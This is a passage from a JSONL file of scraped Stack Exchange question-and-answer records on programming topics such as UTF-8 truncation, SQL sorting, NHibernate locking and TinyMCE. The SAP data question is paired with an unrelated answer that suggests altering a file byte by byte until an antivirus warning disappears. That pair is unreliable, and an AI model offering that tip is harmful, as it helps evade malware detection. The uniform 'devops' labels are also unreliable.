make sure you have the Domain\\User Role (ie MyCompany\\SharpointUsers). In your config you should have", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.540236"}
{"id": "hf_f64dc138f36d", "question": "<p>How do I truncate a java <code>String</code> so that I know it will fit in a given number of bytes storage once it is UTF-8 encoded?</p>\n", "question_body": "", "answer": "UTF-8 encoding has a neat trait that allows you to see where in a byte-set you are.\ncheck the stream at the character limit you want.\nIf its high bit is 0, it's a single-byte char, just replace it with 0 and you're fine.\nIf its high bit is 1 and so is the next bit, then you're at the start of a multi-byte char, so just set that byte to 0 and you're good.\nIf the high bit is 1 but the next bit is 0, then you're in the middle of a character, travel back along the buffer until you hit a byte that has 2 or more 1s in the high bits, and replace that byte with 0.\nExample:  If your stream is: 31 33 31 C1 A3 32 33 00, you can make your string 1, 2, 3, 5, 6, or 7 bytes long, but not 4, as that would put the 0 after C1, which is the start of a multi-byte char.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.600887"}
{"id": "hf_908d3846bd13", "question": "<p>What is the simplest way to determine the length (in seconds) of a given mp3 file, <strong>without using outside libraries</strong>? (python source highly appreciated)</p>\n", "question_body": "", "answer": "You can use\npymad\n.  It's an external library, but don't fall for the Not Invented Here trap.  Any particular reason you don't want any external libraries?\n```\n```\nimport mad\n\nmf = mad.MadFile(\"foo.mp3\")\ntrack_length_in_milliseconds = mf.total_time()\n```\n```\nSpotted\nhere\n.\n--\nIf you really don't want to use an external library, have a look\nhere\nand check out how he's done it.  Warning: it's complicated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.721696"}
{"id": "hf_a43062a6ffef", "question": "<p>Are there any industry standard conventions for naming jar files?</p>\n", "question_body": "", "answer": "I have been using\n```\n```\n*Informative*-*name*-*M*.*m*.*b*.jar\n```\n```\nWhere:\nM\n=\n```\nmajor version number\n```\n(changed when backward compatibility is not necessarily maintained)\nm\n=\n```\nminor version number\n```\n(feature additions etc)\nb\n=\n```\nbuild number\n```\n(for releases containing bug fixes)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.757919"}
{"id": "hf_26896cf934bc", "question": "<p>I'm getting a warning from ReSharper about a call to a virtual member from my objects constructor. </p>\n\n<p>Why would this be something not to do?</p>\n", "question_body": "", "answer": "Because until the constructor has completed executing, the object is not fully instantiated. Any members referenced by the virtual function may not be initialised. In C++, when you are in a constructor,\n```\nthis\n```\nonly refers to the static type of the constructor you are in, and not the actual dynamic type of the object that is being created. This means that the virtual function call might not even go where you expect it to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.866279"}
{"id": "hf_58f145161df0", "question": "<p>I want to log the Poison message that my wcf service is dropping using MSMQ 3.0 and windows 2003</p>\n", "question_body": "", "answer": "You could probably add a service like the following that reads messages from your poison queue and logs them.\n```\n```\n<service name=\"YourPosionMessageHandler\"\n   <endpoint\naddress=\"net.msq://localhost/private/YourServiceQueue;poison\"\nbinding=\"netMsmqBinding\"\n    />\n</service>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.929290"}
{"id": "hf_5673319d400d", "question": "<p>Is there an easy way to programmatically determine the number of lines within a text file? </p>\n", "question_body": "", "answer": "Seriously belated edit: If you're using .NET 4.0 or later\nThe\n```\nFile\n```\nclass has a new\n```\nReadLines\n```\nmethod which lazily enumerates lines rather than greedily reading them all into an array like\n```\nReadAllLines\n```\n. So now you can have both efficiency and conciseness with:\n```\n```\nvar lineCount = File.ReadLines(@\"C:\\file.txt\").Count();\n```\n```\nOriginal Answer\nIf you're not too bothered about efficiency, you can simply write:\n```\n```\nvar lineCount = File.ReadAllLines(@\"C:\\file.txt\").Length;\n```\n```\nFor a more efficient method you could do:\n```\n```\nvar lineCount = 0;\nusing (var reader = File.OpenText(@\"C:\\file.txt\"))\n{\n    while (reader.ReadLine() != null)\n    {\n        lineCount++;\n    }\n}\n```\n```\nEdit: In response to questions about efficiency\nThe reason I said the second was more efficient was regarding memory usage, not necessarily speed. The first one loads the entire contents of the file into an array which means it must allocate at least as much memory as the size of the file. The second merely loops one line at a time so it never has to allocate more than one line's worth of memory at a time. This isn't that important for small files, but for larger files it could be an issue (if you try and find the number of lines in a 4GB file on a 32-bit system, for example, where there simply isn't enough user-mode address space to allocate an array this large).\nIn terms of speed I wouldn't expect there to be a lot in it. It's possible that ReadAllLines has some internal optimisations, but on the other hand it may have to allocate a massive chunk of memory. I'd guess that ReadAllLines might be faster for small files, but significantly slower for large files; though the only way to tell would be to measure it with a Stopwatch or code profiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:52.966186"}
{"id": "hf_50283a9d9ff8", "question": "<p>How can I fetch data in a Winforms application or ASP.NET form from a SAP database? The .NET framework used is 2.0. , language is C# and SAP version is 7.10. </p>\n", "question_body": "", "answer": "Why don't you contact CA and ask them to tell them what they're searching for, for that virus?\nOr, you could copy the file and change each individual byte until the warning disappeared (may take a while depending on the size).\nIt's possible the virus detection may be a lot more complicated than simply looking for a fixed string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.098198"}
{"id": "hf_4d6e0706e345", "question": "<p>Having just witnessed <a href=\"http://www.youtube.com/watch?v=PEnfpQa3nrI&amp;feature=related\" rel=\"nofollow noreferrer\">Sound Load technology</a> on the Nintendo DS game <a href=\"http://en.wikipedia.org/wiki/Bangai-O_Spirits\" rel=\"nofollow noreferrer\">Bangai-O Spritis</a>. I was curious as to how this technology works? Does anyone have any links, documentation or sample code on implementing such a feature, that would allow the state of an application to be saved and loaded via audio?</p>\n", "question_body": "", "answer": "Its the same old thing used in ZX Spectrum era. You load programs/games from tape.Only the sound quality and the filters are probably better.\nIn my opinion something like Bluetooth or WiFi is better. You can also send files that can be put on some storage and then load them. I find these methods much easier than sound because if there is a lot of noise around you cannot do much.\nIt is just a conversion of data to audio and then back from audio to data.\nSearch for Zotyocopy and Copy86M on google - these are the utilities used for saving a game to tape after loading it into memory on zx spectrum.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.134017"}
{"id": "hf_ed0f7ba8a7c3", "question": "<p>We've got dozens of versions of an SWF modified for different customers of a big Flash project, and now would have to replace some strings embedded in scripts in each copy. The FLA file for some of these is very difficult to locate or even missing (I inherited this mess and refactoring it is currently not an option).</p>\n\n<p>Is there a (free) tool to replace strings used inside ActionScript? I tried swfmill to convert the files to XML and back but it can't handle international characters contained in the strings so I could get them only partially converted. Most of the strings were correctly extracted so another tool might do the job.</p>\n", "question_body": "", "answer": "tricky - it might not be any easier, but you could load the 'locked' swf into one you control, then spider through its objects until you hit TextBox, using some for...in loops - it'd be a long, arduous process to map them out then change them, especially if the previous developer didn't name things in a helpful way, but if it's a fairly simple .swf then it might be too bad...\nAlso, there's a mac-only utility for decompiling swfs that I remember a coworker swearing by, but I don't recall the name... anybody?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.158346"}
{"id": "hf_53a3af4e0932", "question": "<p>Developing websites are time-consuming. To improve productivity, I would code a prototype to show to our clients. I don't worry about making the prototype comform to the standard. Most of the time, our clients would approve the prototype and give an unreasonable deadline. I usually end up using the prototype in production (hey, the prototype works. No need to make my job harder.)</p>\n\n<p>I could refactor the code to output valid HTML. But is it worth the effort to output valid HTML?</p>\n", "question_body": "", "answer": "Yes. It's hard enough trying to deal with how different browsers will render valid HTML, never mind trying to predict what they'll do with invalid code. Same goes for search engines - enough problems in the HTML may lead to the site not being indexed properly or at all.\nI guess the real answer is \"it depends on what is invalid about the HTML\". If the invalid parts relate to accessibility issues, you might even find your customer has legal problems if they use the site on a commercial basis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.223508"}
{"id": "hf_de7003b94631", "question": "<p>I have a <code>VARCHAR</code> column in a <code>SQL Server 2000</code> database that can contain either letters or numbers. It depends on how the application is configured on the front-end for the customer. </p>\n\n<p>When it does contain numbers, I want it to be sorted numerically, e.g. as \"1\", \"2\", \"10\" instead of \"1\", \"10\", \"2\". Fields containing just letters, or letters and numbers (such as 'A1') can be sorted alphabetically as normal. For example, this would be an acceptable sort order.</p>\n\n<pre><code>1\n2\n10\nA\nB\nB1\n</code></pre>\n\n<p>What is the best way to achieve this? </p>\n", "question_body": "", "answer": "There are a few possible ways to do this.\nOne would be\n```\n```\nSELECT\n ...\nORDER BY\n  CASE \n    WHEN ISNUMERIC(value) = 1 THEN CONVERT(INT, value) \n    ELSE 9999999 -- or something huge\n  END,\n  value\n```\n```\nthe first part of the ORDER BY converts everything to an int (with a huge value for non-numerics, to sort last) then the last part takes care of alphabetics.\nNote that the performance of this query is probably at least moderately ghastly on large amounts of data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.260632"}
{"id": "hf_45d1f287a8d0", "question": "<p>When using feature descriptors [like SIFT, SURF] - is Approximate Nearest Neighbour the fastest method to do matching between images?</p>\n", "question_body": "", "answer": "I'd say that Euclidean distnace based nearest neighbor would be the easiest to implement, but not necessarily the fastest.\nI'd agree that approximate nearest neighbor or 'best bin first' would be the quickest at identifying which image in your background set most closely resembles the probe image.\nIf your trying to identify a single object in the image, things will be a little more difficult.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.322793"}
{"id": "hf_899d421ce9be", "question": "<p>I've got an ASP.NET app using NHibernate to transactionally update a few tables upon a user action. There is a date range involved whereby only one entry to a table 'Booking' can be made such that exclusive dates are specified.</p>\n<p>My problem is how to prevent a race condition whereby two user actions occur almost simultaneously and cause mutliple entries into 'Booking' for &gt;1 date. I can't check just prior to calling .Commit() because I think that will still leave be with a race condition?</p>\n<p>All I can see is to do a check AFTER the commit and roll the change back manually, but that leaves me with a very bad taste in my mouth! :)</p>\n<blockquote>\n<p>booking_ref (INT) PRIMARY_KEY AUTOINCREMENT</p>\n<p>booking_start (DATETIME)</p>\n<p>booking_end (DATETIME)</p>\n</blockquote>\n", "question_body": "", "answer": "make the isolation level of your transaction SERIALIZABLE (\n```\nsession.BeginTransaction(IsolationLevel.Serializable\n```\n) and check and insert in the same transaction. You should not in general set the isolationlevel to serializable, just in situations like this.\nor\nlock the table before you check and eventually insert. You can do this by firing a SQL query through nhibernate:\nsession.CreateSQLQuery(\"SELECT null as dummy FROM Booking WITH (tablockx, holdlock)\").AddScalar(\"dummy\", NHibernateUtil.Int32);\nThis will lock only that table for selects / inserts for the duration of that transaction.\nHope it helped", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.370946"}
{"id": "hf_a706e430e26b", "question": "<p>Before moving on to use SVN, I used to manage my project by simply keeping a <code>/develop/</code> directory and editing and testing files there, then moving them to the <code>/main/</code> directory. When I decided to move to SVN, I needed to be sure that the directories were indeed in sync.</p>\n\n<p>So, what is a good way to write a shell script [ bash ] to recursively compare files with the same name in two different directories?</p>\n\n<p>Note: The directory names used above are for sample only. I do not recommend storing your code in the top level :).</p>\n", "question_body": "", "answer": "The diff command has a -r option to recursively compare directories:\n```\n```\ndiff -r /develop /main\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.406712"}
{"id": "hf_2a97958905d3", "question": "<p>I've got a Subversion repository, backed by the berkeley DB. Occasionally it breaks down due to some locks and such not being released, but this morning it was impossible to recover it using the 'svnadmin recover' command. Instead it failed with the following error:</p>\n\n<pre><code>svnadmin: Berkeley DB error for filesystem 'db' while opening 'nodes' table:\nInvalid argument\nsvnadmin: bdb: file nodes (meta pgno = 0) has LSN [1083][429767].\nsvnadmin: bdb: end of log is [1083][354707]\nsvnadmin: bdb: db/nodes: unexpected file type or format\n</code></pre>\n\n<p>I'm going to restore the repository from the last known good backup, but it would be good to know if there is a way this repository could be fixed.</p>\n\n<p>edit: even the db_recover utility does not make a difference. It shows recovery is completed, but the same error persists when verifying the repository using svnadmin.</p>\n", "question_body": "", "answer": "I've got a Subversion repository, backed by the berkeley DB.\nSorry to hear that. I would suggest that at your earliest convenience, you dump that repository (\n```\nsvnadmin dump\n```\n) and reload it into a new one backed by FSFS (\n```\nsvnadmin load\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.430791"}
{"id": "hf_ae536c22d37d", "question": "<p>I need to cleanup the HTML of pasted text into TinyMCE by passing it to a webservice and then getting it back into the textarea.\nSo I need to override the Ctrl+V in TinyMCE to caputre the text, do a background request, and on return continue with whatever the paste handler was for TinyMCE.\nFirst off, where is TinyMCE's Ctrl+V handler, and is there a non-destructive way to override it? (instead of changing the source code)</p>\n", "question_body": "", "answer": "You could write a plug-in that handles the ctrl+v event and passes it through or modify the paste plug-in. The following code is found at\nplugins/paste/editor_plugin.js\nand it handles the ctrl+v event.\n```\n```\nhandleEvent : function(e) {\n          // Force paste dialog if non IE browser\n          if (!tinyMCE.isRealIE && tinyMCE.getParam(\"paste_auto_cleanup_on_paste\", false) && e.ctrlKey && e.keyCode == 86 && e.type == \"keydown\") {\n             window.setTimeout('tinyMCE.selectedInstance.execCommand(\"mcePasteText\",true)', 1);\n             return tinyMCE.cancelEvent(e);\n          }\n\n          return true;\n       },\n```\n```\nHere is some\nmore information about creating plug-ins for tinyMCE\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.479790"}
{"id": "hf_bb277f5350b4", "question": "<p>Please suggest some good resources to start writing Java Web services.</p>\n", "question_body": "", "answer": "If you're using the Spring Framework, I suggest\nSpring-WS\n.\nThere is a very helpful\nreference guide\nwhich should get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.529250"}
{"id": "hf_9f3c4c6708c4", "question": "<p>Is there such a thing as having the most prefered design pattern for building applications in TDD or the iterative mode?</p>\n", "question_body": "", "answer": "Use a dynamic language like Python or Ruby to develop: You don't have to fight with many of the problems other languages have which are the reason for \"design patterns\" in the first place.\nDynamic languages in combination with automated testing will give results really quick so you know which direction to take. If you realize then that you should use a static language for performance reasons or whatever you can translate the dynamic software you have already built.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.553635"}
{"id": "hf_f1e089f3b821", "question": "<p>I am reading image files in Java using</p>\n\n<pre><code>java.awt.Image img = Toolkit.getDefaultToolkit().createImage(filePath);\n</code></pre>\n\n<p>On some systems this doesn't work, it instead throws an AWTError complaining about sun/awt/motif/MToolkit.</p>\n\n<p>How else can you create a java.awt.Image object from an image file?</p>\n", "question_body": "", "answer": "I read images using\nImageIO\n.\n```\n```\nImage i = ImageIO.read(InputStream in);\n```\n```\nThe javadoc will offer more info as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.577155"}
{"id": "hf_952a8e0ad535", "question": "<p>Using Visual Studio 2008 Team Edition, is it possible to assign a shortcut key that switches between markup and code? If not, is it possible to assign a shortcut key that goes from code to markup?</p>\n", "question_body": "", "answer": "The following is a macro taken from a comment by Lozza on\nhttps://blog.codinghorror.com/visual-studio-net-2003-and-2005-keyboard-shortcuts/\n. You just need to bind it to a shortcut of your choice:\n```\n```\nSub SwitchToMarkup()\n  Dim FileName\n\n  If (DTE.ActiveWindow.Caption().EndsWith(\".cs\")) Then\n    ' swith from .aspx.cs to .aspx\n    FileName = DTE.ActiveWindow.Document.FullName.Replace(\".cs\", \"\")\n    If System.IO.File.Exists(FileName) Then\n      DTE.ItemOperations.OpenFile(FileName)\n    End If\n  ElseIf (DTE.ActiveWindow.Caption().EndsWith(\".aspx\")) Then\n    ' swith from .aspx to .aspx.cs\n    FileName = DTE.ActiveWindow.Document.FullName.Replace(\".aspx\", \".aspx.cs\")\n    If System.IO.File.Exists(FileName) Then\n      DTE.ItemOperations.OpenFile(FileName)\n    End If\n  ElseIf (DTE.ActiveWindow.Caption().EndsWith(\".ascx\")) Then\n    FileName = DTE.ActiveWindow.Document.FullName.Replace(\".ascx\", \".ascx.cs\")\n    If System.IO.File.Exists(FileName) Then\n      DTE.ItemOperations.OpenFile(FileName)\n    End If\n  End If\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.604791"}
{"id": "hf_fe00f3831b1f", "question": "<p>Can someone give me some working examples of how you can create, add messages, read from, and destroy a private message queue from C++ APIs? I tried the MSDN pieces of code but i can't make them work properly.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Not quite sure how you'd go about creating or destroying message queues. Windows should create one per thread.\nIf you're using MFC, any CWinThread and CWnd derived class has a message queue that's trivial to access (using PostMessage or PostThreadMessage and the ON_COMMAND macro). To do something similar with the windows API, I think you need to write your own message pump, something like CWinApp's run method.\n```\n```\nMSG msg;\nBOOL bRet; \nwhile( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0)\n{ \n    if (bRet == -1)\n    {\n        // handle the error and possibly exit\n    }\n    else\n    {\n        TranslateMessage(&msg); \n        DispatchMessage(&msg); \n    }\n}\n```\n```\n...is the example from the MSDN documentation. Is this what you're using? What doesn't work?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.650869"}
{"id": "hf_dd876310c0b3", "question": "<p>We have been looking at g++ versions 3.2.3 and 4.2.4.  With 4.2.4, the performance improvements on some of our code base is significant.</p>\n\n<p>I've tried searching the <a href=\"http://gcc.gnu.org/bugzilla/\" rel=\"nofollow noreferrer\">gcc buzilla database</a> to find hints as to what bugs may have had such a dramatic improvement but I didn't find any individual bug that stood out as being a candidate.</p>\n\n<p>Are the improvements the result of many small changes that have slowly had an affect?  Or was there say a top 5 set of improvements that may have made a difference?</p>\n\n<p>For some background, our code base does make good use of STL containers and algorithms, as well as C++ features such as the 'inline' keyword.</p>\n", "question_body": "", "answer": "In my experience, 3.4 is where the performance basically peaked; 4.2 is actually slower than 3.4 on my project, with 4.3 being the first to roughly equal 3.4's performance.  4.4 is slightly faster than 3.4.\nThere are a specific few cases I've found where older versions of gcc did some unbelievably retarded things in code--there was a particular function that went from 128 to 21 clocks from 3.4 to 4.3, but that was obviously a special case (it was a short loop where the addition of just a few unnecessary instructions massively hurt performance).\nI personally use 3.4 just because it compiles so much faster, making testing much quicker.  I also try to avoid the latest versions because they seem to have nasty habits of miscompiling code; --march core2 on recent gcc versions causes segfaults in my program, for example, because it emits autovectorized code that tries to perform aligned accesses on unaligned addresses.\nOverall though the differences are rarely large; 3-5% is the absolute\nmost\nI've seen in terms of performance change.\nNow, note this is C; things may be different in C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.674629"}
{"id": "hf_753a1194955e", "question": "<p>Using The loader class of Adobe Flex, I load an external SWF file. However, the loaded SWF file has a different frameRate than my application.</p>\n\n<p>Is it possible to have both the parent app and the loaded child app playing at different framerates? If so, how?</p>\n", "question_body": "", "answer": "It's not possible.\nFlash Player or Adobe AIR only uses a single frame rate for all loaded SWF files at any one time, and this frame rate is determined by the nominal frame rate of the main SWF file\nThere are two ways around this, change the framerate of the main swf to match the loaded one (this can be done during runtime) or decouple the animation from actual frames and use events to step it forward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.725873"}
{"id": "hf_9bee30a6673d", "question": "<p>I want to create variables inside function from dictionary.</p>\n\n<p>Lets say I have a dictionary</p>\n\n<pre><code>bar = {'a': 1, 'b': 2, 'c': 3}\n</code></pre>\n\n<p>and function</p>\n\n<pre><code>def foo():\n  pass\n</code></pre>\n\n<p>What I want to do is to create inside function \"foo\" variables with names of each dictionary item name and values as dictionary item values</p>\n\n<p>So in the end it should be similar to</p>\n\n<pre><code>def foo():\n  a = 1\n  b = 2\n  c = 3\n</code></pre>\n\n<p>Is it possible at all? And if it does, how to do such thing?</p>\n", "question_body": "", "answer": "Why would you want to do such a thing?  Unless you actually do anything with the variables inside the function, a function that just assigns several variables and then discards them is indistinguishable to def foo(): pass   (An optimiser would be justified in generating exactly the same bytecode).\nIf you also want to dynamically append code that uses the values, then you could do this by using exec (though unless this is really user-input code, there are almost certainly better ways to do what you want).  eg:\n```\n```\nsome_code = '  return a+b+c'\nexec \"def foo():\\n  \" + '\\n  '.join('%s = %s' for k,v in bar.items()) + '\\n' + some_code\n```\n```\n(Note that your code must be indented to the same level.)\nOn the other hand, if you want to actually assign these values to the function\nobject\n(so you can do foo.a and get 1 - note that your sample code doesn't do this), you can do this by:\n```\n```\nfor key, val in bar.items():\n    setattr(foo, key, val)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.761698"}
{"id": "hf_58b4f3a26237", "question": "<p>I am currently working on a project that has been in production for over two years. The project makes extensive use of unit testing and scripted UI tests. Initialy unit tests covered the system framework, business rules and state transitions (or workflow). Test scripts are used for black box testing. However, over time the cost of maintaining our full set of unit tests has become increasingly expensive especially those relating to state.</p>\n\n<p>After a bit of investigation we have found that test scripts are more effective (that is, provide better coverage) and are cheaper to maintain than unit tests relating to workflow. This isn't to say the value of unit tests has been completely negated but it does raise this question whether some classes of unit tests can be dropped in favour of test scripts.</p>\n\n<p>Our project is run on an iterative incremental model.</p>\n", "question_body": "", "answer": "One of the answers on SO to the question of 'the limitations of Unit Testing' was that a unit testing becomes convoluted when it's used to test anything to do with INTEGRATION rather than function. Connecting to and using external services (database, SSH'ing to a another server, etc.) and User Interfaces were two of the examples used.\nIt's not that you CANT use Unit Testing for these things, its just that the difficulty involved in covering all the bases makes using this method of testing not worth it except in cases where reliability is paramount.\nI use \"script tests\" for all my custom JavaScript UI code (template engine, effects and animations, etc.) and I find it quick and reliable if done right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.785945"}
{"id": "hf_07234109ce5d", "question": "<p>Would anyone recommend a particular JavaScript charting library - specifically one that doesn't use flash at all?</p>\n", "question_body": "", "answer": "If you're using jQuery I've found\nflot\nto be very good - try out the\nexamples\nto see if they suit your needs, but I've found them to do most of what I need for my current project.\nAdditionally\nExtJS 4.0\nhas introduced a great set of charts - very powerful, and is designed to work with live data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.822856"}
{"id": "hf_5831e5847c54", "question": "<p>Is there a javascript function I can use to detect whether a specific silverlight version is installed in the current browser?</p>\n\n<p>I'm particularly interested in the Silverlight 2 Beta 2 version. I don't want to use the default method of having an image behind the silverlight control which is just shown if the Silverlight plugin doesn't load.</p>\n\n<p><strong>Edit:</strong> From link provided in accepted answer:</p>\n\n<p>Include Silverlight.js (from Silverlight SDK)</p>\n\n<pre><code>Silverlight.isInstalled(\"2.0\");\n</code></pre>\n", "question_body": "", "answer": "Include Silverlight.js (from Silverlight SDK)\n```\nSilverlight.isInstalled(\"4.0\")\n```\nResource:\nhttp://msdn.microsoft.com/en-us/library/cc265155(vs.95).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.859027"}
{"id": "hf_944f57fb5bc8", "question": "<p>I am looking for a free tool to load Excel data sheet into an Oracle database. I tried the Oracle SQL developer, but it keeps throwing a NullPointerException. Any ideas?</p>\n", "question_body": "", "answer": "Excel -> CSV -> Oracle\nSave the Excel spreadsheet as file type 'CSV' (Comma-Separated Values).\nTransfer the .csv file to the Oracle server.\nCreate the Oracle table, using the SQL\n```\nCREATE TABLE\n```\nstatement to define the table's column lengths and types.\nUse sqlload to load the .csv file into the Oracle table. Create a sqlload control file like this:\n```\n```\nload data\ninfile theFile.csv\nreplace\ninto table theTable\nfields terminated by ','\n(x,y,z)\n```\n```\nInvoke sqlload to read the .csv file into the new table, creating one row in the table for each line in the .csv file. This is done as a Unix command:\n```\n```\n% sqlload userid=username/password control=<filename.ctl> log=<filename>.log\n```\n```\nOR\nIf you just want a tool, use\nQuickLoad", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.917165"}
{"id": "hf_0581fc4f29d5", "question": "<p>I have been given a requirement where I need to support multiple databases in the same instance, to support multi-tenancy. Each DB has an identical schema. The user logs into a specific database by choosing from a list, and all subsequent calls will go to that DB until they log out.</p>\n\n<p>I want to hot swap the session factory inside a single HibernateDaoTemplate based on a parameter supplied by the client. </p>\n\n<p>I can find lots of stuff on hot-swapping data sources (and all the transaction issues associated with that) but I want to hot swap session factories - retaining all the caching for each.</p>\n\n<p>What's the easiest way to do this? Configure a HotSwappableTarget for the DaoTemplate? Can anyone point me to samples on how to do this?</p>\n", "question_body": "", "answer": "If all the databases are identical, then I can suggest using a single SessionFactory and providing your own implementations for the DataSource and Cache that are actually \"tenant-aware\". (Implementing these is fairly trivial: just maintain a map of tenant id -> real cache/real datasource and then delegate all calls to the appropriate one). Configure the single SessionFactory to use your tenant-aware Cache and DataSource. A 